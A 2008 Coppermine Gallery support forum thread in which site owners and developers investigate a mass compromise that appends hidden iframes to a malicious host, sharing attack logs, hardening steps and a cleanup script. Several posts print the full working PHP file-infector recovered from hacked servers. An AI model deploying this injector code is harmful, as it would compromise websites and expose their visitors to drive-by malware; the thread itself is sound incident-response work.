forum.coppermine-gallery.net
Support => cpg1.4.x Support => Older/other versions => cpg1.4 permissions => Topic started by: htgguy on April 06, 2008, 10:04:11 pm
-
I searched and didn't find any reference to this elsewhere on the boards. I just discovered that when I try to access my coppermine gallery in IE7 the page tries to load but hangs up and at the bottom of the window shows that it is trying to redirect to cdpuvbhfzz.com. In Firefox it loads but also says it is contacting this site. I am hosted at 1and1 and have never had any problems like this before. I am not an expert by any means and need to figure out how to correct this or if it presents any threats to visitors of my site. Thanks in advance for any help.
Jim
-
Update your gallery to replace any compromised files.
-
Thank you for the reply-is there anywhere I can look to find specific instructions on how to do that? Appreciate any help.
Jim
-
Thank you for the reply-is there anywhere I can look to find specific instructions on how to do that? Appreciate any help.
Jim
Sorry your gallery got compromised. Two warnings thought: 1) if you don't keep CPG up to date, you risk stuff like this happening, and 2) If you don't search before asking questions, people around here tend to respond harshly.
I'll resist the urge to respond harshly but point you to the Announcements forum where you'll find a sticky thread regarding 1.4.16
Good luck
-Tim
-
I have the same probleme !!!!
Poubao >:(
-
Update instructions are in the manual.
-
Hi Jim,
I've discovered the same problem with my site this morning. I upgraded from Coppermine 1.4.12 to 1.4.16, as was suggested on this thread, but that has not resolved the problem.
A quick search on Google seems to suggest that this is a problem that has sprung up over the last few hours, and is affecting a number of websites and bulletin boards. I have contacted my web host, and will wait to see if they have any suggestions.
I'm sorry that your post seems to have been treated fairly dismissively, as though you are a typical newbie who can't be bothered reading the manual. It would appear your search of the available information on this cdpuvbhfzz.com problem turned up as much as mine did.
Cheers,
David
-
Htgguy,
My sites have been hacked too with the same code and I am working my way trying go recover them, but a few things that might help others who find this posts as it comes up first in Goolge.
1. The hack is not specific to Coppermine, it simply updates every .php and .html file with its iframe code.
2. Upgrading to newer versions of software on your website only works if every .php and .html file is replaced.
3. I originally stated to manually update the files to remove the code, now am going through back ups to restore the html and php files.
4. I have no idea how the vandal/criminal/loser who did this managed to update the files, but there is no evidence to suggest it was a lack of having he latest release of Coppermine installed.
Terry
-
All my html & php files have been hacked as well. This happened at 17.47 yesterday.
It is not just Coppermine, but phpbb and ordinary web sites that have been affected.
I don't know how this has happened, but it will take ages to sort out with the number of files involved.
-
It doesn't make sense to have more reports about possible victims of this attack. What we need to figure out is how the attacker managed to get in - we need to make sure what vulnerability he used to compromise the webspace in the first place.
All who run a heterogenous (mixed) website with many pre-made apps (like Coppermine, phpBB and a load of other pre-made scripts) are not ideal reporters for their issues, as the infection may be related to any of the pre-made apps.
What we could use is a report from someone who was already running cpg1.4.16 (and only coppermine) on his webspace before the infaction happened. If this is the case, you're welcome to come up with a report about the incident. We need additional data for a successfull analysis of the attack: what OS, webserver, environment (shared webhosting vs. root server vs. virtual root server vs. dedicated server), PHP version, mysql version ect. you have been running and since when. Extremely helpfull would be server log files if you have access to them. A forensic image (complete backup of the entire webspace) and a complete db dump before and after the incident) would be helpfull as well.
All who qualify at least for the very first aspect (they had only coppermine in version cpg1.4.16 running before they noticed the infection) are welcome to post here.
Meanwhile I suggest the usual counter-actions for all who have fallen victim of the attack: remain calm, make a complete backup of everything (both files as well as a complete database dump), then clean the files, change all your passwords and report the issue to your webhost. It would be advisable as well to report the website your site has been redirected to (cdpuvbhfzz.com) to your webhost.
Googling for the term "cdpuvbhfzz.com" shows reports from various sites (not only related to coppermine, but phpbb, vbulletin, wordpress, Joomla etc.), so it's likely that the attack is not related to coppermine (although we can't tell for sure at this stage).
The internet storm center doesn't seem to be aware of the search term, and I'm not sure what to search for, as we have so far only seen vague reports - none of the above postings on this issue really qualify as valid reports.
-
uninstall your plugin "onlinestats", i resolve my probleme with this, and after reinstall all the CPG files and update your gallerie.
I thing the pbm come from onlinestats plugin, PHPBB, and other PHP applications use this kind of mod. (not sure 100%, but it's what i find to resolve my pbm)
poubao :D
(you must change all your acces password)
-
I don't think that onlinestats can be the culprit - please don't issue false alarms without previous discussions. Let's hear the others first who replied to this thread already: did you have onlinestats installed? If yes, what flavor (mod vs. plugin) and what version?
Joachim
-
First, thanks for your help with trying to track this down.
I did not have any add ons installed-just the basic Coppermine 1.4.10 package. I do have a blogger site hosted in this directory as well. I am the only user of this site-no one else has the log in information.
Whatever was done to my site has affected all the pages-there are some html pages in the root that also have the iframe code added to them. It would appear that anything that exists in my directory cannot be trusted at this point. Should I be worried about the hundreds of .jpgs that I have on line? If I must I can re-upload them but if they are safe I would prefer to not have to.
Did I do something that has allowed this to happen? Is there any way for me to determine how someone got into my directory and did the damage they did? I don't know if my host messed up, if I messed up, or if someone just brute forced there way into my webspace. Any advice is appreciated.
Jim
-
cpg1.4.10 is outdated and contains known security flaws that might have led to your server being vulnerable. Clean up everything, then upgrade. Perform an upgrade of your blog app as well.
-
hey guys,
got the same problem.
the entrance for this hack was "/galerie/thumbnails.php?album=5".
proximate the bummers executed "galerie/update.php" and "/galerie/pluginmgr.php?op=upload" to opload a file ("/galerie/plugins/docs.php".).
this file has following source-code (see below) and runs different operations, whereby the chmods are set to 777 for directories and files.
therefore *.htm and *.php can be updated with an iframe-code that calls the "cdpuvbhfzz.com"-shit.
i got no more time (i got a lot of work) to check the "old" files, so i would be glad, if Joachim Müller could check the named files.
greeting from berlin.
<?php
function fileExtension($file) {
$fileExp = explode('.', $file);
$filetype = $fileExp[count($fileExp)-1];
return $filetype;
}
function parse($path) {
$dir_array = array();
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
$try_dir = $path.$file.'/';
if(is_dir($try_dir)) {
array_push($dir_array, $try_dir);
}
else {
if ($path[strlen($path)-1] != '/') {
$path.= '/';
}
$f_ext = fileExtension($file);
if($f_ext=="php" || $f_ext=="html" || $f_ext=="htm") {
if($file!="debugger.inc.php") {
//chmod($path.$file,0777);
$fhandle = fopen($path.$file, 'a+');
if($f_ext=="php") {
fwrite($fhandle, "<?php echo '<iframe src=\"&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;\" width=1 height=1></iframe>'; ?>");
}
else {
fwrite($fhandle, "<iframe src=\"http://cdpuvbhfzz.com/dl/adv598.php\" width=1 height=1></iframe>");
}
fclose($fhandle);
}
}
}
}
}
closedir($handle);
}
return $dir_array;
}
function launch() {
$total = 0;
$last = 1;
$last_num = 0;
$path = $_SERVER['DOCUMENT_ROOT'];
$dirs = array();
array_push($dirs, $path);
while($last) {
$last_num = 0;
for( $j=$total; $j<$total+$last; $j++) {
$temp_dirs = parse($dirs[$j]);
$last_t = sizeof($temp_dirs);
$last_num += $last_t;
for( $i=0; $i<$last_t; $i++) {
array_push($dirs, $temp_dirs[$i]);
}
}
$total += $last;
$last = $last_num;
}
$paths = $_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'];
unlink($paths);
if (is_file($paths)) {
$fhandle = fopen($paths, 'w');
fwrite($fhandle, "<?php echo'Upload plugins here'; ?>");
fclose($fhandle);
}
}
echo "~!";
launch();
?><?php echo '<iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe>'; ?>
-
i had the same problem.
all my files were modiefied with the iframe at 18:40.
this are my logfiles:
[06/Apr/2008:18:39:57 +0200] "GET /galerien/update.php HTTP/1.1" 200 32013 "-" "Mozilla/8.0" 83.237.241.116 - -
[06/Apr/2008:18:39:59 +0200] "POST /galerien/pluginmgr.php?op=upload HTTP/1.1" 302 34309 "-" "Mozilla/8.0" 74.6.8.57 - -
maybe that was thwe attack?
what do you recommend? I disabled the gallery, then I will update the gallery. what can I alos do?
thanks
florian
-
I also had that plugin/docs file as mentioned by noellisimo
-
Additional info found from the hack on our site:
The PHP code (shown in noellisimo's post above) that executed the hack was concealed in a file with a .zip extension and "hidden" in albums/userpics/10001 (where the ohotos normally live). It WASN'T a zip file - it was a PHP file with a .zip extension. So, if you keep getting hacked then look for this file as well. In our case the file name was 142739_298w3.zip but I suspect it can be called anything.
We've removed Coppermine as it seems that it isn't currently safe to have it around!
David
-
Additional info found from the hack on our site:
The PHP code (shown in noellisimo's post above) that executed the hack was concealed in a file with a .zip extension and "hidden" in albums/userpics/10001 (where the ohotos normally live). It WASN'T a zip file - it was a PHP file with a .zip extension. So, if you keep getting hacked then look for this file as well. In our case the file name was 142739_298w3.zip but I suspect it can be called anything.
We've removed Coppermine as it seems that it isn't currently safe to have it around!
David
Can't seem to find that, or similar, in any of my albums
-
From my smattering of schoolboy French, it seems similar issues are being reported on the French language forum too.
http://forum.coppermine-gallery.net/index.php/topic,51692.0.html (http://forum.coppermine-gallery.net/index.php/topic,51692.0.html)
Sadly so have we. And we're running 1.4.16. Fortunately it seems the damage is limited in our case because we only allow the webserver write-access to a minimal number of files and directories. Meantime I'm downloading our log files and will report again if I find anything that may help the Coppermine Team.
In our case the hack (or whatever it is) also copied a file into our coppermine/albums/userpics/10001 directory. It pretends to be a zip file but it is in fact a php file. I have attached it for analysis. It also attempts to add the following text to the end of any php or html document to which the webserver has write access:-
<?php echo '<iframe src="http://cdpuvbhfzz.com/dl/adv598.php" width=1 height=1></iframe>'; ?>
-
Why do you people have webservers configured to run zip files using PHP? Are you running images as PHP too?
-
I don't want to fall victim to FUD, but I also don't want to be hacked. I also don't want to bring my gallery down quite yet... As a precaution I have removed the files update.php and pluginmgr.php from my gallery. I'm not sure if this will prevent a hack, but since these two files keep coming up, I thought it might be a precaution worth taking, especially since these files aren't needed for normal gallery browsing.
-Tim
-
@ Nibbler. We don't. (Just double checked.) :)
Best wishes, G
-
From my smattering of schoolboy French, it seems similar issues are being reported on the French language forum too.
http://forum.coppermine-gallery.net/index.php/topic,51692.0.html (http://forum.coppermine-gallery.net/index.php/topic,51692.0.html)
You can get a (pretty poor) translation to English via the following link:
http://translate.google.com/translate?u=http%3A%2F%2Fforum.coppermine-gallery.net%2Findex.php%2Ftopic%2C51692.0%2Ftopicseen.html&langpair=fr%7Cen&hl=en&ie=UTF-8
Definitely sounds like the same problem.
-Tim
-
OKAY the relevant part of my apache2.log file. Seems we were actually attacked three times. The first two were unsuccessful.
Attack #1 Note the entries for 83.237.241.116 and note the the error 404 at the end. Attack failed presumably because on our server /coppermine/plugins/ is not writeable by the web server..
83.237.241.116 - - [06/Apr/2008:16:23:44 +0100] "GET /coppermine/update.php HTTP/1.1" 200 29995 "-" "Mozilla/8.0"
61.247.217.35 - - [06/Apr/2008:16:24:31 +0100] "GET /coppermine/thumbnails.php?album=search&lang=french&search=2003-11-14 HTTP/1.1" 200 67845 "-" "Yeti/1.0 (+http://help.naver.com/robots/)"
83.237.241.116 - - [06/Apr/2008:16:24:32 +0100] "POST /coppermine/pluginmgr.php?op=upload HTTP/1.1" 200 22782 "-" "Mozilla/8.0"
83.237.241.116 - - [06/Apr/2008:16:24:34 +0100] "GET /coppermine/plugins/docs.php HTTP/1.1" 404 2536 "-" "Mozilla/8.0"
Attack #2 Again note the the entries for 83.237.241.116:-
83.237.241.116 - - [06/Apr/2008:16:27:49 +0100] "GET /coppermine/update.php HTTP/1.1" 200 29995 "-" "Mozilla/8.0"
74.6.25.239 - - [06/Apr/2008:16:28:41 +0100] "GET /coppermine/login.php?referer=displayimage.php%3Falbum%3Dtoprated%26cat%3D0%26pos%3D48 HTTP/1.1" 200 23577 "-" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)"
83.237.241.116 - - [06/Apr/2008:16:28:43 +0100] "POST /coppermine/pluginmgr.php?op=upload HTTP/1.1" 200 22782 "-" "Mozilla/8.0"
194.164.232.81 - - [06/Apr/2008:16:28:44 +0100] "GET /coppermine/albums/archive/project/screengrab/20080406_Firefox_UK_English_Search.png HTTP/1.1" 304 - "http://www.purestorm.com/forum/readThread.aspx?id=41269&start=2" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080325 Ubuntu/7.10 (gutsy) Firefox/2.0.0.13"
83.237.241.116 - - [06/Apr/2008:16:28:45 +0100] "GET /coppermine/plugins/docs.php HTTP/1.1" 404 2536 "-" "Mozilla/8.0"orwegian HTTP/1.1" 200 57537 "-" "Yeti/1.0 (+http://help.naver.com/robots/)"
Attack #3 This time its successful. Note the entries for 91.76.23.21 Other IP's are irrelevant. The time of the last entry corresponds exactly with the time stamp on the zip file mentioned in my previous post:-
91.76.23.21 - - [08/Apr/2008:18:03:12 +0100] "GET /coppermine/update.php HTTP/1.1" 200 30007 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
91.76.23.21 - - [08/Apr/2008:18:04:16 +0100] "POST /coppermine/upload.php HTTP/1.1" 200 22625 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
74.6.29.54 - - [08/Apr/2008:18:04:15 +0100] "GET /coppermine/displayimage.php?pos=-7004&lang=turkish HTTP/1.1" 200 32144 "-" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)"
91.76.23.21 - - [08/Apr/2008:18:04:18 +0100] "POST /coppermine/upload.php HTTP/1.1" 200 68582 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
61.247.217.42 - - [08/Apr/2008:18:04:22 +0100] "GET /coppermine/thumbnails.php?album=247&lang=persian HTTP/1.1" 200 59160 "-" "Yeti/1.0 (+http://help.naver.com/robots/)"
81.202.91.57 - - [08/Apr/2008:18:04:27 +0100] "GET /new_mill/spring98/jpegs/newton.jpg HTTP/1.1" 304 - "http://www.taringa.net/posts/imagenes/948191/Algunas-fotos-de-Helmut-Newton.html" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; uE v7; uE v7)"
91.76.23.21 - - [08/Apr/2008:18:03:12 +0100] "GET /coppermine/update.php HTTP/1.1" 200 30007 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
91.76.23.21 - - [08/Apr/2008:18:04:23 +0100] "POST /coppermine/upload.php HTTP/1.1" 200 22515 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
91.76.23.21 - - [08/Apr/2008:18:04:28 +0100] "POST /coppermine/admin.php HTTP/1.1" 200 22414 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
I hope this might shed some light on the matter. Best wishes, G.
-
Just had a look on mine & the ip address matches one of yours
83.237.241.116 - - [06/Apr/2008:17:47:18 +0200] "POST /coppermine/pluginmgr.php?op=upload HTTP/1.1" 302 19518
-
Just had a look on mine & the ip address matches one of yours
83.237.241.116 - - [06/Apr/2008:17:47:18 +0200] "POST /coppermine/pluginmgr.php?op=upload HTTP/1.1" 302 19518
Hmm, interesting Sharpo.
I think we may be looking at two slightly types of attack. Whilst they both seem to start with update.php, it seems that the one from 83.237.241.116 (the one that failed in my case) affects pluginmgr.php. Then there is another from 91.76.23.21 that exploits upload.php instead
I also observed that the French guy on the other forum was also hit from IP 91.76.23.21, which also attacked his upload.php.
http://forum.coppermine-gallery.net/index.php/topic,51692.0.html (http://forum.coppermine-gallery.net/index.php/topic,51692.0.html)
Hope this helps someone. best wishes, G.
-
Oops typo. I meant two slightly different types of attack. Sorry
Best wishes, G.
-
Most replies on this thread (except the report by mr.goose) are invalid. Please don't PM me. Instead, read up what I suggested in this thread and post your report. Everyone who has been running an older version than cpg1.4.16 when he/she got infected should try to fix this on his own and not reply here. Keep this thread clean with only valid postings.
-
I've the latest CPG version but yesterday one of users told me about some gallery visualization problems. I've checked the configuration and I've found in the Path to custom header include, a link to /mygallery/albums/userpics/142739_298w3.zip. I've downloaded this file that is really a .php file, not a.zip one, and this is the start of the content
<?php
function fileExtension($file) {
$fileExp = explode('.', $file);
$filetype = $fileExp[count($fileExp)-1];
return $filetype;
}
function parse($path) {
$dir_array = array();
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
$try_dir = $path.$file.'/';
if(is_dir($try_dir)) {
array_push($dir_array, $try_dir);
}
else {
if ($path[strlen($path)-1] != '/') {
$path.= '/';
}
$f_ext = fileExtension($file);
if($f_ext=="php" || $f_ext=="html" || $f_ext=="htm") {
if($file!="debugger.inc.php") {
//chmod($path.$file,0777);
$fhandle = fopen($path.$file, 'a+');
if($f_ext=="php") {
fwrite($fhandle, "<?php echo '<iframe src=\"&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;\" width=1 height=1></iframe>'; ?>");
}
else {
fwrite($fhandle, "<iframe src=\"http://cdpuvbhfzz.com/dl/adv598.php\" width=1 height=1></iframe>");
}
fclose($fhandle);
}
}
}
}
}
closedir($handle);
}
return $dir_array;
}
I don't know what this code do and where, how and when was put here. I've always made all the upgrade as indicated.
Any suggestion?
-
I probably get in trouble for posting this, but I thought I might be able to help someone, I was running 1.4.13, so I am not asking for help, just to help others in my situation.
If you get the damage to your files, what I did was the the script posted earlier and modified it to remove the last line of any affected files. Please note it worked for me, but I have no idea if it will cause any additional problems.
killorcure.php
<?php
function fileExtension($file) {
$fileExp = explode('.', $file);
$filetype = $fileExp[count($fileExp)-1];
return $filetype;
}
function parse($path) {
$dir_array = array();
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
$try_dir = $path.$file.'/';
if(is_dir($try_dir)) {
array_push($dir_array, $try_dir);
}
else {
if ($path[strlen($path)-1] != '/') {
$path.= '/';
}
$f_ext = fileExtension($file);
if($f_ext=="php" || $f_ext=="html" || $f_ext=="htm") {
if($file!="debugger.inc.php") {
cutline($path.$file);
}
}
}
}
}
closedir($handle);
}
return $dir_array;
}
function launch() {
$total = 0;
$last = 1;
$last_num = 0;
$path = $_SERVER['DOCUMENT_ROOT'];
$dirs = array();
array_push($dirs, $path);
while($last) {
$last_num = 0;
for( $j=$total; $j<$total+$last; $j++) {
$temp_dirs = parse($dirs[$j]);
$last_t = sizeof($temp_dirs);
$last_num += $last_t;
for( $i=0; $i<$last_t; $i++) {
array_push($dirs, $temp_dirs[$i]);
}
}
$total += $last;
$last = $last_num;
}
}
function cutline($filename,$line_no=-1) {
$strip_return=FALSE;
$data=file($filename);
$pipe=fopen($filename,'w');
$size=count($data);
if($line_no==-1) $skip=$size-1;
else $skip=$line_no-1;
for($line=0;$line<$size;$line++)
if($line!=$skip)
fputs($pipe,$data[$line]);
else
$strip_return=TRUE;
return $strip_return;
}
echo "~!";
launch();
?>
DO NOT run it more than once as it does not mind what is on the line it deletes
-
I have been trying to figure this out all night. As Joachim rightly said earlier, if one is running more than one php application on a hacked server then it is difficult to say which PHP application is causing the problem. For example we run Joomla and PHPBB3 as well as a number of smaller applications, any one of which could be to blame (though they are all latest versions). So I've been looking at the scripts involved with this hack for clues with regard to the application it tries to exploit. I think the 142739_298w3.zip script may have a clue. Now, the interesting line is the one that makes reference to debugger.inc.php.
...
if($file!="debugger.inc.php") {
//chmod($path.$file,0777);
I just performed a search on my entire server. Seems the only PHP application on my server that has a file called debugger.inc.php is Coppermine. So I Googled it. Seems of the major PHP web applications, Coppermine is indeed the only one I can find that uses a file called debugger.inc.php. This does not prove the hack is Coppermine's fault but it does perhaps suggest that the hackers may have singled out Coppermine for special attention? Anyone got any thoughts?
Best wishes, G.
-
I did a likewise Search and although it does seem to infect all php files on a server it attacks it does seem to gain entrance through debugger.inc.php. Or so it seems if you want to believe all the other reports on the net that are being written.
But like you said this does NOT prove the blame lies with coppermine as a lot of the reports i read do not mention cpg being used together with the site which was infected.
-
Thing is Hein, in order for the 142739_298w3.zip file to be placed on the compromised machine, the hack to gain entry would already have taken place - if you see what I mean?
In our case, the Apache logs indicate that at exactly the time the various files on my system were altered, a known hacking machine with an IP 91.76.23.21 was communicating with certain key Coppermine files on my server(extraneous and irrelevant log entries removed for clarity):-
91.76.23.21 - - [08/Apr/2008:18:03:12 +0100] "GET /coppermine/update.php HTTP/1.1" 200 30007 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
91.76.23.21 - - [08/Apr/2008:18:04:16 +0100] "POST /coppermine/upload.php HTTP/1.1" 200 22625 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
91.76.23.21 - - [08/Apr/2008:18:04:18 +0100] "POST /coppermine/upload.php HTTP/1.1" 200 68582 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
91.76.23.21 - - [08/Apr/2008:18:03:12 +0100] "GET /coppermine/update.php HTTP/1.1" 200 30007 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
91.76.23.21 - - [08/Apr/2008:18:04:23 +0100] "POST /coppermine/upload.php HTTP/1.1" 200 22515 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
91.76.23.21 - - [08/Apr/2008:18:04:28 +0100] "POST /coppermine/admin.php HTTP/1.1" 200 22414 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
Another interesting fact in our case is that I limit the files that the webserver can write to on a "need to write" basis. This means that only those files to which the web server had write access were modified. It means my cleanup will be reasonably straightforward. Also means that the files update.php, upload.php & admin.php are all unaltered and exactly the same as the originals. Yet the log evidence suggests that it was these files that the hackers exploited in order to get access to my server in order to place the 142739_298w3.zip file on the server in the first place.
Again this is not concrete proof but it may be another clue? What are your thoughts?
Meantime, I'll keep digging and report back if I come up with anything that might be helpful to you guys.
Best wishes, G.
-
Question for the affected: Do you all have URI uploads enabled?
-
Question for the affected: Do you all have URI uploads enabled?
Within Coppermine? Yes I do. Why do you ask?
Best wishes, G
-
Question for the affected: Do you all have URI uploads enabled?
Yes, URI enabled
-
Thanks. I've found a vulnerability there. Fix should be available soon, but for now you should disable that feature.
-
Thanks. I've found a vulnerability there. Fix should be available soon, but for now you should disable that feature.
Well done Nibbler! You guys are pretty quick. :)
OKAY. I said I'd post with more research when I had done it. I wasn't sure whether to post this research here or start a new thread. Apologies if I have done wrong. Thing is, I've been trying to figure out what the hacker was hoping to achieve with this hack The clue is what is contained within the iFrame and the site it links to. Basically, the linked site contains a php file (WARNING this file may be dangerous):-
- http://cdpuvbhfzz.com/dl/adv598.php
When you "view source", you'll find some heavily obfuscated javascript (attached as text file). This code could, in theory, enable the hacker to:-
- Make any popups he wants appear on your site and
- Invisibly connect your site visitors to viruses and trojans etc.
By the way, there is quite a good article at SANS Internet Storm Center about exploits that use obfuscated Javascript hosted on a remote site:-
- http://isc.sans.org/diary.html?storyid=4246 (http://isc.sans.org/diary.html?storyid=4246)
Anyway, I've not managed to crack the script obfuscation yet and I don't think the current script works very well anyway. But I just stumbled across a similarly hacked Coppermine site that has just been blacklisted by google because of malware. I thought the Coppermine Dev Team might want to take a look at some point because this may be the shape of things to come. WARNING to everyone else: these hacked sites may be dangerous!
- Compromised (albeit quite old) Coppermine SITE:-
http://thgallery.th.funpic.de/ - Google warning about this site:-
http://www.google.com/interstitial?url=http://thgallery.th.funpic.de/ (http://www.google.com/interstitial?url=http://thgallery.th.funpic.de/) - A 1.4.16 site (not one of mine) that's just been hit but its owner is obviously unaware of the fact:-
http://www.australiasevereweather.com/pictures/index.php
Seems this hack is potentially very nasty indeed and I suspect that many site owners are unaware they have been hacked at all. So any information the Coppermine Dev Team feels able to share with us regarding this hack would be very gratefully received please.
Best wishes, and thanks again for dealing with it so quickly. G.
-
OMG guys I get the same thing right yesterday. I've deleted the script code from all the PHP pages (which means that I've edited a very lot of page between coppermine and cutenews and I still haven't retoutchd the one from the forum yet) but it comes again today!!!! What I have to do?
-
Disable the URI uploads feature. Preferably disable all uploading from untrusted users until the new version is released.
-
OMG guys I get the same thing right yesterday. I've deleted the script code from all the PHP pages (which means that I've edited a very lot of page between coppermine and cutenews and I still haven't retoutchd the one from the forum yet) but it comes again today!!!! What I have to do?
Do like Nibbler says. Also you may want to do some research into security issues with CuteNews. Just because the Coppermine Devs have found an issue in Coppermine, it does not mean that your other web applications are safe. It would be a shame to patch your Coppermine and clean up all those files again, only to find you have been hacked again via CuteNews. For what its worth. I am undertaking a full security audit on all applications, on all my sites.
Best wishes, G.
-
Do as Nibbler suggested above. Stop shouting and panicking and observe this thread!
-
@Tano*87: do as Nibbler suggested above. Stop shouting and panicking and observe this thread!
@mr.goose: thanks for keeping a level head.
@Nibbler: thanks for taking care of this issue
@everyone else: do not send me (or anyone else) PMs that deal with this issue unless we explicitely ask for it. The next jerk who will send me an unwanted PM is in for a silencer (i.e. a temporary ban). I understand that you're exited about the situation, but it doesn't help to have another "me too" posting here or an invalid report without the needed details. I'm fed up with all the junk in my PM-inbox - don't waste my time nor the time of those who want to help.
>:( >:( >:( Joachim >:( >:( >:(
-
well I just got hosed by this at 13:07 CDT...
I wasn't going to post, but just to lighten things up a bit, here's a snippet of the code I found on my gallery (note...my injected file was a .jpg with php content and not .zip)
<?php
[b]//sorry[/b]
function fileExtension($file) {
$fileExp = explode('.', $file);
$filetype = $fileExp[count($fileExp)-1];
heh...note the "//sorry" :P
-
Disable the URI uploads feature. Preferably disable all uploading from untrusted users until the new version is released.
maybe a stupid questoin, but where exactly do I do this??
Thanks
-
maybe a stupid questoin, but where exactly do I do this??
Thanks
Look in the documentation, section 4.3 The group control panel. set the upload boxes to 0
-
I'm getting the feeling that somehow they can alter the upload box settings. Mine had all been changed to 0 but now one of them reads 10.
Have a look at this, the problems might be connected in some way?
http://forum.coppermine-gallery.net/index.php/topic,51716.0.html
(I'll apologise in advance for including this here, but I believe it's important!)
-
I'm getting the feeling that somehow they can alter the upload box settings. Mine had all been changed to 0 but now one of them reads 10.
Have a look at this, the problems might be connected in some way?
http://forum.coppermine-gallery.net/index.php/topic,51716.0.html
- (I'll apologise in advance for including this here, but I believe it's important!)
Certainly seems that the hackers can change (and|or affect) some of the Config settings, Sharpo. These Config settings were changed in my site:-
- Path to custom header include albums = /userpics/10001/142739_298w3.zip (was blank)
- Number of levels of categories to display = 1 (was 2)
- Number of albums to display = 1 (was 50)
- Number of columns for the album list = 1 (was 5)
- Number of columns on thumbnail page = 1 (was 5)
- Number of rows on thumbnail page = 1 (was 10)
- Maximum number of tabs to display = 5 (was 25)
Looking at other hacked sites, it seems that some config setting must have been changed there too. I guess we just need to sit back and wait and see what the Dev Team comes back with. Meantime I've temporarily denied my webserver write access to the albums folder - since we can't upload anything at the moment anyway. At least if we are re-hacked in a similar manner, then the attacker will have no where to drop the zip file! ;D
Best wishes, G
-
Certainly seems that the hackers can change (and|or affect) some of the Config settings, Sharpo. These Config settings were changed in my site:-
- Path to custom header include albums = /userpics/10001/142739_298w3.zip (was blank)
- Number of levels of categories to display = 1 (was 2)
- Number of albums to display = 1 (was 50)
- Number of columns for the album list = 1 (was 5)
- Number of columns on thumbnail page = 1 (was 5)
- Number of rows on thumbnail page = 1 (was 10)
- Maximum number of tabs to display = 5 (was 25)
Looking at other hacked sites, it seems that some config setting must have been changed there too. I guess we just need to sit back and wait and see what the Dev Team comes back with. Meantime I've temporarily denied my webserver write access to the albums folder - since we can't upload anything at the moment anyway. At least if we are re-hacked in a similar manner, then the attacker will have no where to drop the zip file! ;D
Best wishes, G
Just noticed I had a zip file to a custom header, that's a new one on me. Now deleted.
Have also chmod albums to 755
Thanks, Sharpo
-
Just noticed I had a zip file to a custom header, that's a new one on me. Now deleted.
Have also chmod albums to 755
Thanks, Sharpo
Make sure you chown -Rv root.root /coppermine too!
If www-data (or whatever you webserver's account is called) still owns the files then it can write to them!
I actually set the directories to 755 and the files to 644, all owned by root. That way, the webserver can read the files, but cannot write to them. It also stops it creating new files and hence stops our hackers uploading any more nasty zip files! :D
Best wishes, G
-
BTW:-
I also opted for file permissions of 644 rather than 755 because that means the executable bit is not set. So hopefully that will prevent our attacker trying to run any disguised shell scripts etc we may have missed in the cleanup.
Best wishes, G
-
BTW:-
I also opted for file permissions of 644 rather than 755 because that means the executable bit is not set. So hopefully that will prevent our attacker trying to run any disguised shell scripts etc we may have missed in the cleanup.
Best wishes, G
I mistyped earlier, I had changed them to 644 not 755.
Another thing I noticed, I have a 4th gallery which I am still in the process of working on, about an hour ago a docs.php file was uploaded to the plugins folder - this I believe was similar to files that have been posted here earlier in the thread with the iframe line in the middle of the document.
I have since removed the plugins folder completely for that gallery (got a backup though)
That's it for tonight, had enough.
-
I've read thru this and am still unsure what to do. Unfortunately this is one of the rare nights our webmaster cannot be contacted.
We are not getting redirects to cdpuvbhfzzu but error messages. News indexes are, for example, showing Parse error: syntax error, unexpected '<' in /home/bymnews/public_html/news/classes/ProcessNews.class.php on line 248
Gallery looks normal here http://www.bymnews.com/photos/
but if you click on first item - America's Cup- it comes up with one thumbnail and latest additions vertically down page. http://www.bymnews.com/photos/index.php?cat=33
Can anyone give a step by step guide to what should be done?
-
I've read thru this and am still unsure what to do. Unfortunately this is one of the rare nights our webmaster cannot be contacted.
We are not getting redirects to cdpuvbhfzzu but error messages. News indexes are, for example, showing Parse error: syntax error, unexpected '<' in /home/bymnews/public_html/news/classes/ProcessNews.class.php on line 248
Gallery looks normal here http://www.bymnews.com/photos/
but if you click on first item - America's Cup- it comes up with one thumbnail and latest additions vertically down page. http://www.bymnews.com/photos/index.php?cat=33
Can anyone give a step by step guide to what should be done?
